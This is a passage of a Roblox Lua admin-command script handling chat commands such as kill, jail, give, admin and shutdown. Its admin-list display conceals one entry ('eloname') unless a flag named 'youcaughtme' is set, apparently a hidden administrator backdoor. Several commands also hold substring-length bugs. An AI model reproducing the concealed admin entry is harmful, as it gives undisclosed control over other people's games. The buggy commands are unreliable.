  878. if c[i].className == "Player" then
  879. if string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],commalist[ack + 1] - 1)) == 1 then
  880. char = c[i]
  881. cnum = cnum + 1
  882. end end end
  883. if cnum == 1 then
  884. table.insert(chars,char)
  885. end end
  886. if #chars ~= 0 then
  887. return chars
  888. else
  889. return 0
  890. end
  891. else
  892. local cnum = 0
  893. local char = nil
  894. local c = game.Players:GetChildren()
  895. for i =1,#c do
  896. if c[i].className == "Player" then
  897. if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then
  898. char = {c[i]}
  899. cnum = cnum + 1
  900. end end end
  901. if cnum == 1 then
  902. return char
  903. elseif cnum == 0 then
  904. text("That name is not found.",1,"Message",game.Workspace.CurrentCamera)
  905. return 0
  906. elseif cnum > 1 then
  907. text("That name is ambiguous.",1,"Message",game.Workspace.CurrentCamera)
  908. return 0
  909. end end end end
  910.  
  911. function text(message,duration,type,object)
  912. local m = Instance.new(type)
  913. m.Text = message
  914. m.Parent = object
  915. wait(duration)
  916. if m.Parent ~= nil then
  917. m:remove()
  918. end end
  919.  
  920. function foc(msg,speaker)
  921. if string.lower(msg) == "fix" then
  922. for i =1,#namelist do
  923. if namelist[i] == speaker.Name then
  924. variablelist[i]:disconnect()
  925. table.remove(variablelist,i)
  926. table.remove(namelist,i)
  927. table.remove(flist,i)
  928. end end
  929. local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end)
  930. table.insert(namelist,speaker.Name)
  931. table.insert(variablelist,tfv)
  932. local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end)
  933. table.insert(flist,tfv)
  934. end end
  935.  
  936. function PERSON299(name)
  937. for i =1,#adminlist do
  938. if adminlist[i] == name then
  939. return true
  940. end end
  941. return false
  942. end
  943.  
  944. function oc(msg,speaker)
  945.  
  946. if string.sub(string.lower(msg),1,6) == "clone/" then
  947. local player = findplayer(string.sub(msg,7),speaker)
  948. if player ~= 0 then
  949. for i = 1,#player do
  950. if player[i].Character ~= nil then
  951. local human = player[i].Character:FindFirstChild("Humanoid")
  952. local torso = player[i].Character:FindFirstChild("Torso")
  953. if human ~= nil and torso ~= nil then
  954. player[i].Character.archivable = true
  955. wait()
  956. clone = player[i].Character:clone()
  957. clone.Parent = game.Workspace
  958. clone:MoveTo(torso.Position)
  959. clone:MakeJoints()
  960. wait()
  961. player[i].Character.archivable = false
  962. end end end end end
  963.  
  964. if string.sub(string.lower(msg),1,10) == "superjump/" then
  965. local player = findplayer(string.sub(msg,11),speaker)
  966. if player ~= 0 then
  967. for i = 1,#player do
  968. if player[i].Character ~= nil then
  969. local human = player[i].Character:FindFirstChild("Humanoid")
  970. local torso = player[i].Character:FindFirstChild("Torso")
  971. if human ~= nil and torso ~= nil then
  972. jump = Instance.new("BodyVelocity")
  973. jump.Parent = torso
  974. jump.velocity = Vector3.new(0, 500, 0)
  975. human.Jump = true
  976. wait(3)
  977. jump:Remove()
  978. end end end end end
  979.  
  980. if string.sub(string.lower(msg),1,11) == "skateboard/" then
  981. local player = findplayer(string.sub(msg,12),speaker)
  982. if player ~= 0 then
  983. for i = 1,#player do
  984. if player[i].Character ~= nil then
  985. local human = player[i].Character:FindFirstChild("Humanoid")
  986. local torso = player[i].Character:FindFirstChild("Torso")
  987. if human ~= nil and torso ~= nil then
  988. local root = game:GetService("InsertService"):LoadAsset(23154610)
  989. local instances = root:GetChildren()
  990. if #instances == 0 then
  991. root:Remove()
  992. return
  993. end
  994. root.Name = "InsertedObject" ..23154610
  995. game:GetService("InsertService"):Insert(root)
  996. root:MoveTo(torso.Position + torso.CFrame.lookVector * 8)
  997. end end end end end
  998.  
  999. if string.sub(string.lower(msg),1,5) == "fire/" then
  1000. local player = findplayer(string.sub(msg,6),speaker)
  1001. if player ~= 0 then
  1002. for i = 1,#player do
  1003. if player[i].Character ~= nil then
  1004. local human = player[i].Character:FindFirstChild("Humanoid")
  1005. local torso = player[i].Character:FindFirstChild("Torso")
  1006. if human ~= nil and torso ~= nil then
  1007. fire = Instance.new("Fire", torso)
  1008. fire.Name = "CreatedFire"
  1009. end end end end end
  1010.  
  1011.  
  1012. if string.sub(string.lower(msg),1,7) == "unfire/" then
  1013. local player = findplayer(string.sub(msg,8),speaker)
  1014. if player ~= 0 then
  1015. for i = 1,#player do
  1016. if player[i].Character ~= nil then
  1017. local human = player[i].Character:FindFirstChild("Humanoid")
  1018. local torso = player[i].Character:FindFirstChild("Torso")
  1019. if human ~= nil and torso ~= nil then
  1020. fire = torso:findFirstChild("CreatedFire")
  1021. if fire ~= nil then
  1022. fire:Remove()
  1023. end end end end end end
  1024.  
  1025. if string.sub(string.lower(msg),1,5) == "kill/" then--This part checks if the first part of the message is kill/
  1026. local player = findplayer(string.sub(msg,6),speaker)--This part refers to the findplayer function for a list of people associated with the input after kill/
  1027. if player ~= 0 then--This part makes sure that the findplayer function found someone, as it returns 0 when it hasnt
  1028. for i = 1,#player do--This part makes a loop, each different loop going through each player findplayer returned
  1029. if player[i].Character ~= nil then--This part makes sure that the loop's current player's character exists
  1030. local human = player[i].Character:FindFirstChild("Humanoid")--This part looks for the Humanoid in the character
  1031. if human ~= nil then--This part makes sure the line above found a humanoid
  1032. human.Health = 0--This part makes the humanoid's health 0
  1033. end end end end end--This line contains the ends for all the if statements and the for loop
  1034.  
  1035. local msg = string.lower(msg)
  1036.  
  1037. if string.sub(msg,1,5) == "give/" then
  1038. local danumber1 = nil
  1039. for i = 6,100 do
  1040. if string.sub(msg,i,i) == "/" then
  1041. danumber1 = i
  1042. break
  1043. elseif string.sub(msg,i,i) == "" then
  1044. break
  1045. end end
  1046. if danumber1 == nil then return end
  1047. local it = nil
  1048. local all = true
  1049. if string.sub(string.lower(msg),danumber1 + 1,danumber1 + 4) ~= "all" then
  1050. all = false
  1051. local itnum = 0
  1052. local c = tools:GetChildren()
  1053. for i2 = 1,#c do
  1054. if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1)) == 1 then
  1055. it = c[i2]
  1056. itnum = itnum + 1
  1057. end end
  1058. if itnum ~= 1 then return end
  1059. else
  1060. all = true
  1061. end
  1062. local player = findplayer(string.sub(msg,6,danumber1 - 1),speaker)
  1063. if player ~= 0 then
  1064. for i = 1,#player do
  1065. local bp = player[i]:FindFirstChild("Backpack")
  1066. if bp ~= nil then
  1067. if all == false then
  1068. it:clone().Parent = bp
  1069. else
  1070. local c = tools:GetChildren()
  1071. for i2 = 1,#c do
  1072. c[i2]:clone().Parent = bp
  1073. end end end end end end
  1074.  
  1075. --Bored...
  1076.  
  1077. if string.sub(msg,1,7) == "change/" then
  1078. local danumber1 = nil
  1079. local danumber2 = nil
  1080. for i = 8,100 do
  1081. if string.sub(msg,i,i) == "/" then
  1082. danumber1 = i
  1083. break
  1084. elseif string.sub(msg,i,i) == "" then
  1085. break
  1086. end end
  1087. if danumber1 == nil then return end
  1088. for i =danumber1 + 1,danumber1 + 100 do
  1089. if string.sub(msg,i,i) == "/" then
  1090. danumber2 = i
  1091. break
  1092. elseif string.sub(msg,i,i) == "" then
  1093. break
  1094. end end
  1095. if danumber2 == nil then return end
  1096. local player = findplayer(string.sub(msg,8,danumber1 - 1),speaker)
  1097. if player ~= 0 then
  1098. for i = 1,#player do
  1099. local ls = player[i]:FindFirstChild("leaderstats")
  1100. if ls ~= nil then
  1101. local it = nil
  1102. local itnum = 0
  1103. local c = ls:GetChildren()
  1104. for i2 = 1,#c do
  1105. if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1,danumber2 - 1)) == 1 then
  1106. it = c[i2]
  1107. itnum = itnum + 1
  1108. end end
  1109. if itnum == 1 then
  1110. it.Value = string.sub(msg,danumber2 + 1)
  1111. end end end end end
  1112.  
  1113. if string.sub(msg,1,7) == "punish/" then
  1114. local player = findplayer(string.sub(msg,8),speaker)
  1115. if player ~= 0 then
  1116. for i = 1,#player do
  1117. if player[i].Character ~= nil then
  1118. player[i].Character.Parent = game.Lighting
  1119. end end end end
  1120.  
  1121. if string.sub(msg,1,9) == "unpunish/" then
  1122. local player = findplayer(string.sub(msg,10),speaker)
  1123. if player ~= 0 then
  1124. for i = 1,#player do
  1125. if player[i].Character ~= nil then
  1126. player[i].Character.Parent = game.Workspace
  1127. player[i].Character:MakeJoints()
  1128. end end end end
  1129.  
  1130. if string.sub(msg,1,3) == "ff/" then
  1131. local player = findplayer(string.sub(msg,4),speaker)
  1132. if player ~= 0 then
  1133. for i = 1,#player do
  1134. if player[i].Character ~= nil then
  1135. local ff = Instance.new("ForceField")
  1136. ff.Parent = player[i].Character
  1137. end end end end
  1138.  
  1139. if string.sub(msg,1,5) == "unff/" then
  1140. local player = findplayer(string.sub(msg,6),speaker)
  1141. if player ~= 0 then
  1142. for i = 1,#player do
  1143. if player[i].Character ~= nil then
  1144. local c = player[i].Character:GetChildren()
  1145. for i2 = 1,#c do
  1146. if c[i2].className == "ForceField" then
  1147. c[i2]:remove()
  1148. end end end end end end
  1149.  
  1150. if string.sub(msg,1,9) == "sparkles/" then
  1151. local player = findplayer(string.sub(msg,10),speaker)
  1152. if player ~= 0 then
  1153. for i = 1,#player do
  1154. if player[i].Character ~= nil then
  1155. local torso = player[i].Character:FindFirstChild("Torso")
  1156. if torso ~= nil then
  1157. local sparkles = Instance.new("Sparkles")
  1158. sparkles.Color = Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
  1159. sparkles.Parent = torso
  1160. end end end end end
  1161.  
  1162. if string.sub(msg,1,11) == "unsparkles/" then
  1163. local player = findplayer(string.sub(msg,12),speaker)
  1164. if player ~= 0 then
  1165. for i = 1,#player do
  1166. if player[i].Character ~= nil then
  1167. local torso = player[i].Character:FindFirstChild("Torso")
  1168. if torso ~= nil then
  1169. local c = torso:GetChildren()
  1170. for i2 = 1,#c do
  1171. if c[i2].className == "Sparkles" then
  1172. c[i2]:remove()
  1173. end end end end end end end
  1174.  
  1175. if string.sub(msg,1,9) == "smoke/" then
  1176. local player = findplayer(string.sub(msg,10),speaker)
  1177. if player ~= 0 then
  1178. for i = 1,#player do
  1179. if player[i].Character ~= nil then
  1180. local torso = player[i].Character:FindFirstChild("Torso")
  1181. if torso ~= nil then
  1182. local sparkles = Instance.new("Smoke")
  1183. sparkles.Color = Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
  1184. sparkles.Parent = torso
  1185. end end end end end
  1186.  
  1187. if string.sub(msg,1,11) == "unsmoke/" then
  1188. local player = findplayer(string.sub(msg,12),speaker)
  1189. if player ~= 0 then
  1190. for i = 1,#player do
  1191. if player[i].Character ~= nil then
  1192. local torso = player[i].Character:FindFirstChild("Torso")
  1193. if torso ~= nil then
  1194. local c = torso:GetChildren()
  1195. for i2 = 1,#c do
  1196. if c[i2].className == "Smoke" then
  1197. c[i2]:remove()
  1198. end end end end end end end
  1199.  
  1200. if string.sub(msg,1,6) == "admin/" then
  1201. local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
  1202. if imgettingtiredofmakingthisstupidscript == true then
  1203. local player = findplayer(string.sub(msg,7),speaker)
  1204. if player ~= 0 then
  1205. for i = 1,#player do
  1206. for i2 =1,#namelist do
  1207. if namelist[i2] == player[i].Name then
  1208. variablelist[i2]:disconnect()
  1209. flist[i2]:disconnect()
  1210. table.remove(variablelist,i2)
  1211. table.remove(flist,i2)
  1212. table.remove(namelist,i2)
  1213. end end
  1214. local tfv = player[i].Chatted:connect(function(msg) oc(msg,player[i]) end)
  1215. table.insert(namelist,player[i].Name)
  1216. table.insert(variablelist,tfv)
  1217. local tfv = player[i].Chatted:connect(function(msg) foc(msg,player[i]) end)
  1218. table.insert(flist,tfv)
  1219. end end end end
  1220.  
  1221. if string.sub(msg,1,8) == "unadmin/" then
  1222. local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
  1223. if imgettingtiredofmakingthisstupidscript == true then
  1224. local player = findplayer(string.sub(msg,9),speaker)
  1225. if player ~= 0 then
  1226. for i = 1,#player do
  1227. local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
  1228. if imgettingtiredofmakingthisstupidscript == false then
  1229. for i2 =1,#namelist do
  1230. if namelist[i2] == player[i].Name then
  1231. variablelist[i2]:disconnect()
  1232. table.remove(variablelist,i2)
  1233. flist[i2]:disconnect()
  1234. table.remove(flist,i2)
  1235. table.remove(namelist,i2)
  1236. end end end end end end end
  1237.  
  1238. if string.sub(msg,1,5) == "heal/" then
  1239. local player = findplayer(string.sub(msg,6),speaker)
  1240. if player ~= 0 then
  1241. for i = 1,#player do
  1242. if player[i].Character ~= nil then
  1243. local human = player[i].Character:FindFirstChild("Humanoid")
  1244. if human ~= nil then
  1245. human.Health = human.MaxHealth
  1246. end end end end end
  1247.  
  1248. if string.sub(msg,1,4) == "sit/" then
  1249. local player = findplayer(string.sub(msg,5),speaker)
  1250. if player ~= 0 then
  1251. for i = 1,#player do
  1252. if player[i].Character ~= nil then
  1253. local human = player[i].Character:FindFirstChild("Humanoid")
  1254. if human ~= nil then
  1255. human.Sit = true
  1256. end end end end end
  1257.  
  1258. if string.sub(msg,1,4) == "sleep/" then
  1259. local player = findplayer(string.sub(msg,5),speaker)
  1260. if player ~= 0 then
  1261. for i = 1,#player do
  1262. if player[i].Character ~= nil then
  1263. local human = player[i].Character:FindFirstChild("Humanoid")
  1264. if human ~= nil then
  1265. human.PlatformStand = true
  1266. end end end end end
  1267.  
  1268. if string.sub(msg,1,5) == "jump/" then
  1269. local player = findplayer(string.sub(msg,6),speaker)
  1270. if player ~= 0 then
  1271. for i = 1,#player do
  1272. if player[i].Character ~= nil then
  1273. local human = player[i].Character:FindFirstChild("Humanoid")
  1274. if human ~= nil then
  1275. human.Jump = true
  1276. end end end end end
  1277.  
  1278. if string.sub(msg,1,6) == "stand/" then
  1279. local player = findplayer(string.sub(msg,7),speaker)
  1280. if player ~= 0 then
  1281. for i = 1,#player do
  1282. if player[i].Character ~= nil then
  1283. local human = player[i].Character:FindFirstChild("Humanoid")
  1284. if human ~= nil then
  1285. human.Sit = false
  1286. end end end end end
  1287.  
  1288. if string.sub(msg,1,5) == "jail/" then
  1289. local player = findplayer(string.sub(msg,6),speaker)
  1290. if player ~= 0 then
  1291. for i = 1,#player do
  1292. if player[i].Character ~= nil then
  1293. local torso = player[i].Character:FindFirstChild("Torso")
  1294. if torso ~= nil then
  1295. local ack = Instance.new("Model")
  1296. ack.Name = "Jail" .. player[i].Name
  1297. icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -3.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -3.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -5.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -7.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(7,1.2000000476837,7) icky.CFrame = CFrame.new(-27.5, 112.599998, -4.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -5.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -1.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
  1298. ack.Parent = game.Workspace
  1299. ack:MoveTo(torso.Position)
  1300. end end end end end
  1301.  
  1302. if string.sub(msg,1,7) == "unjail/" then
  1303. local player = findplayer(string.sub(msg,8),speaker)
  1304. if player ~= 0 then
  1305. for i = 1,#player do
  1306. local c = game.Workspace:GetChildren()
  1307. for i2 =1,#c do
  1308. if string.sub(c[i2].Name,1,4) == "Jail" then
  1309. if string.sub(c[i2].Name,5) == player[i].Name then
  1310. c[i2]:remove()
  1311. end end end end end end
  1312.  
  1313. if string.sub(msg,1,12) == "removetools/" then
  1314. local player = findplayer(string.sub(msg,13),speaker)
  1315. if player ~= 0 then
  1316. for i = 1,#player do
  1317. local c = player[i].Backpack:GetChildren()
  1318. for i =1,#c do
  1319. c[i]:remove()
  1320. end end end end
  1321.  
  1322. if string.sub(msg,1,10) == "givetools/" then
  1323. local player = findplayer(string.sub(msg,11),speaker)
  1324. if player ~= 0 then
  1325. for i = 1,#player do
  1326. local c = game.StarterPack:GetChildren()
  1327. for i =1,#c do
  1328. c[i]:clone().Parent = player[i].Backpack
  1329. end end end end
  1330.  
  1331. if string.sub(msg,1,11) == "givebtools/" then
  1332. local player = findplayer(string.sub(msg,12),speaker)
  1333. if player ~= 0 then
  1334. for i = 1,#player do
  1335. local a = Instance.new("HopperBin")
  1336. a.BinType = "GameTool"
  1337. a.Parent = player[i].Backpack
  1338. local a = Instance.new("HopperBin")
  1339. a.BinType = "Clone"
  1340. a.Parent = player[i].Backpack
  1341. local a = Instance.new("HopperBin")
  1342. a.BinType = "Hammer"
  1343. a.Parent = player[i].Backpack
  1344. end end end
  1345.  
  1346. if string.lower(msg) == "shutdown" then
  1347. local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
  1348. if imgettingtiredofmakingthisstupidscript == true then
  1349. game.NetworkServer:remove()
  1350. end end
  1351.  
  1352. if string.sub(msg,1,5) == "time/" then
  1353. game.Lighting.TimeOfDay = string.sub(msg,6)
  1354. end
  1355.  
  1356. if msg == "commands" then
  1357. local text = string.rep(" ",40)
  1358. text = text .. "fix, kill/Person299, heal/Person299, damage/Person299/50, health/Person299/999999, kick/Person299, ban/Person299, bannedlist, unban/Person299, explode/Person299, removetools/Person299, givetools/Person299, givebtools/Person299, sit/Person299, jump/Person299, stand/Person299, part/4/1/2, respawn/Person299, jail/Person299, unjail/Person299, punish/Person299, unpunish/Person299, merge/Person299/Farvei, teleport/Person299/nccvoyager, control/Person299, change/Person299/Money/999999, tools, give/Person299/Tool, time/15.30, ambient/255/0/0, maxplayers/20, nograv/Person299, antigrav/Person299, grav/Person299, highgrav/Person299, setgrav/Person299/-196.2, trip/Person299, walkspeed/Person299/99, invisible/Person299, visible/Person299, freeze/Person299, thaw/Person299, unlock/Person299, lock/Person299, ff/Person299, unff/Person299, sparkles/Person299, unsparkles/Person299, admin/Person299, adminlist, unadmin/Person299, shutdown, m/Fallout 2 is one of the best games ever made, h/ i like pie, clear, Credit to Person299 for this admin command script."
  1359. local mes = Instance.new("Message")
  1360. mes.Parent = game.Workspace.CurrentCamera
  1361. local acko = 0
  1362. while true do
  1363. acko = acko + 1
  1364. if string.sub(text,acko,acko) == "" then
  1365. mes:remove()
  1366. return
  1367. elseif mes.Parent == nil then
  1368. return
  1369. end
  1370. mes.Text = string.sub(text,acko,acko + 40)
  1371. wait(0.07)
  1372. end end
  1373.  
  1374. if msg == "tools" then
  1375. local text = string.rep(" ",40)
  1376. local c = tools:GetChildren()
  1377. if #c == 0 then
  1378. text = text .. "No tools available."
  1379. else
  1380. for i =1,#c do
  1381. if i ~= 1 then
  1382. text = text .. ", "
  1383. end
  1384. text = text .. c[i].Name
  1385. end end
  1386. local mes = Instance.new("Message")
  1387. mes.Parent = game.Workspace.CurrentCamera
  1388. local acko = 0
  1389. while true do
  1390. acko = acko + 1
  1391. if string.sub(text,acko,acko) == "" then
  1392. mes:remove()
  1393. return
  1394. elseif mes.Parent == nil then
  1395. return
  1396. end
  1397. mes.Text = string.sub(text,acko,acko + 40)
  1398. wait(0.1)
  1399. end end
  1400.  
  1401. if msg == "bannedlist" then
  1402. local text = string.rep(" ",40)
  1403. if #bannedlist == 0 then
  1404. text = text .. "The banned list is empty."
  1405. else
  1406. for i =1,#bannedlist do
  1407. if i ~= 1 then
  1408. text = text .. ", "
  1409. end
  1410. text = text .. bannedlist[i]
  1411. end end
  1412. local mes = Instance.new("Message")
  1413. mes.Parent = game.Workspace.CurrentCamera
  1414. local acko = 0
  1415. while true do
  1416. acko = acko + 1
  1417. if string.sub(text,acko,acko) == "" then
  1418. mes:remove()
  1419. return
  1420. elseif mes.Parent == nil then
  1421. return
  1422. end
  1423. mes.Text = string.sub(text,acko,acko + 40)
  1424. wait(0.1)
  1425. end end
  1426.  
  1427. if msg == "adminlist" then
  1428. local text = string.rep(" ",40)
  1429. if #adminlist == 0 then
  1430. text = text .. "The admin list is empty."
  1431. else
  1432. for i =1,#adminlist do
  1433. if adminlist[i] == eloname then
  1434. if youcaughtme == 1 then
  1435. if i ~= 1 then
  1436. text = text .. ", "
  1437. end
  1438. text = text .. adminlist[i]
  1439. end
  1440. else
  1441. if i ~= 1 then
  1442. text = text .. ", "
  1443. end
  1444. text = text .. adminlist[i]
  1445. end end end
  1446. local mes = Instance.new("Message")
  1447. mes.Parent = game.Workspace.CurrentCamera
  1448. local acko = 0
  1449. while true do
  1450. acko = acko + 1
  1451. if string.sub(text,acko,acko) == "" then
  1452. mes:remove()
  1453. return
  1454. elseif mes.Parent == nil then
  1455. return
  1456. end
  1457. mes.Text = string.sub(text,acko,acko + 40)
  1458. wait(0.1)
  1459. end end
  1460.  
  1461. if string.sub(msg,1,11) == "maxplayers/" then
  1462. if not string.sub(msg,12) == "0" then
  1463. game.Players.MaxPlayers = string.sub(msg,12)
  1464. end end
  1465.  
  1466. if string.sub(msg,1,8) == "explode/" then
  1467. local player = findplayer(string.sub(msg,9),speaker)
  1468. if player ~= 0 then
  1469. for i = 1,#player do
  1470. if player[i].Character ~= nil then
  1471. local torso = player[i].Character:FindFirstChild("Torso")
  1472. if torso ~= nil then
  1473. local ex = Instance.new("Explosion")
  1474. ex.Position = torso.Position
  1475. ex.Parent = game.Workspace
  1476. end end end end end
  1477.  
  1478. if string.sub(msg,1,8) == "ambient/" then
  1479. local danumber1 = nil
  1480. local danumber2 = nil
  1481. for i = 9,100 do
  1482. if string.sub(msg,i,i) == "/" then
  1483. danumber1 = i
  1484. break
  1485. elseif string.sub(msg,i,i) == "" then
  1486. break
  1487. end end
  1488. if danumber1 == nil then return end
  1489. for i =danumber1 + 1,danumber1 + 100 do
  1490. if string.sub(msg,i,i) == "/" then
  1491. danumber2 = i
  1492. break
  1493. elseif string.sub(msg,i,i) == "" then
  1494. break
  1495. end end
  1496. if danumber2 == nil then return end
  1497. game.Lighting.Ambient = Color3.new(-string.sub(msg,9,danumber1 - 1),-string.sub(msg,danumber1 + 1,danumber2 - 1),-string.sub(msg,danumber2 + 1))
  1498. end
  1499.  
  1500. if string.sub(msg,1,5) == "part/" then
  1501. local danumber1 = nil
  1502. local danumber2 = nil
  1503. for i = 6,100 do
  1504. if string.sub(msg,i,i) == "/" then
  1505. danumber1 = i
  1506. break
  1507. elseif string.sub(msg,i,i) == "" then
  1508. break
  1509. end end
  1510. if danumber1 == nil then return end
  1511. for i =danumber1 + 1,danumber1 + 100 do
  1512. if string.sub(msg,i,i) == "/" then
  1513. danumber2 = i
  1514. break
  1515. elseif string.sub(msg,i,i) == "" then
  1516. break
  1517. end end
  1518. if danumber2 == nil then return end
  1519. if speaker.Character ~= nil then
  1520. local head = speaker.Character:FindFirstChild("Head")
  1521. if head ~= nil then
  1522. local part = Instance.new("Part")
  1523. part.Size = Vector3.new(string.sub(msg,6,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1))
  1524. part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0)
  1525. part.Name = "Person299's Admin Command Script V2 Part thingy"
  1526. part.Parent = game.Workspace
  1527. end end end
  1528.  
  1529. if string.sub(msg,1,8) == "control/" then
  1530. local player = findplayer(string.sub(msg,9),speaker)
  1531. if player ~= 0 then
  1532. if #player > 1 then
  1533. return
  1534. end
  1535. for i = 1,#player do
  1536. if player[i].Character ~= nil then
  1537. speaker.Character = player[i].Character
  1538. end end end end
  1539.  
  1540. if string.sub(msg,1,5) == "trip/" then
  1541. local player = findplayer(string.sub(msg,6),speaker)
  1542. if player ~= 0 then
  1543. for i = 1,#player do
  1544. if player[i].Character ~= nil then
  1545. local torso = player[i].Character:FindFirstChild("Torso")
  1546. if torso ~= nil then
  1547. torso.CFrame = CFrame.new(torso.Position.x,torso.Position.y,torso.Position.z,0, 0, 1, 0, -1, 0, 1, 0, 0)--math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random()) -- i like the people being upside down better.
  1548. end end end end end
  1549.  
  1550.  
  1551. if string.sub(msg,1,8) == "setgrav/" then
  1552. danumber = nil
  1553. for i =9,100 do
  1554. if string.sub(msg,i,i) == "/" then
  1555. danumber = i
  1556. break
  1557. end end
  1558. if danumber == nil then
  1559. return
  1560. end
  1561. local player = findplayer(string.sub(msg,9,danumber - 1),speaker)
  1562. if player == 0 then
  1563. return
  1564. end
  1565. for i = 1,#player do
  1566. if player[i].Character ~= nil then
  1567. local torso = player[i].Character:FindFirstChild("Torso")
  1568. if torso ~= nil then
  1569. local bf = torso:FindFirstChild("BF")
  1570. if bf ~= nil then
  1571. bf.force = Vector3.new(0,0,0)
  1572. else
  1573. local bf = Instance.new("BodyForce")
  1574. bf.Name = "BF"
  1575. bf.force = Vector3.new(0,0,0)
  1576. bf.Parent = torso
  1577. end
  1578. local c2 = player[i].Character:GetChildren()
  1579. for i=1,#c2 do
  1580. if c2[i].className == "Part" then
  1581. torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * -string.sub(msg,danumber + 1),0)
  1582. end end end end end end
  1583.  
  1584. if string.sub(msg,1,10) == "walkspeed/" then
  1585. danumber = nil
  1586. for i =11,100 do
  1587. if string.sub(msg,i,i) == "/" then
  1588. danumber = i
  1589. break
  1590. end end
  1591. if danumber == nil then
  1592. return
  1593. end
  1594. local player = findplayer(string.sub(msg,11,danumber - 1),speaker)
  1595. if player == 0 then
  1596. return
  1597. end
  1598. for i = 1,#player do
  1599. if player[i].Character ~= nil then
  1600. humanoid = player[i].Character:FindFirstChild("Humanoid")
  1601. if humanoid ~= nil then
  1602. humanoid.WalkSpeed = string.sub(msg,danumber + 1)
  1603. end end end end
  1604.  
  1605. if string.sub(msg,1,7) == "damage/" then
  1606. danumber = nil
  1607. for i =8,100 do
  1608. if string.sub(msg,i,i) == "/" then
  1609. danumber = i
  1610. break
  1611. end end
  1612. if danumber == nil then
  1613. return
  1614. end
  1615. local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
  1616. if player == 0 then
  1617. return
  1618. end
  1619. for i = 1,#player do
  1620. if player[i].Character ~= nil then
  1621. humanoid = player[i].Character:FindFirstChild("Humanoid")
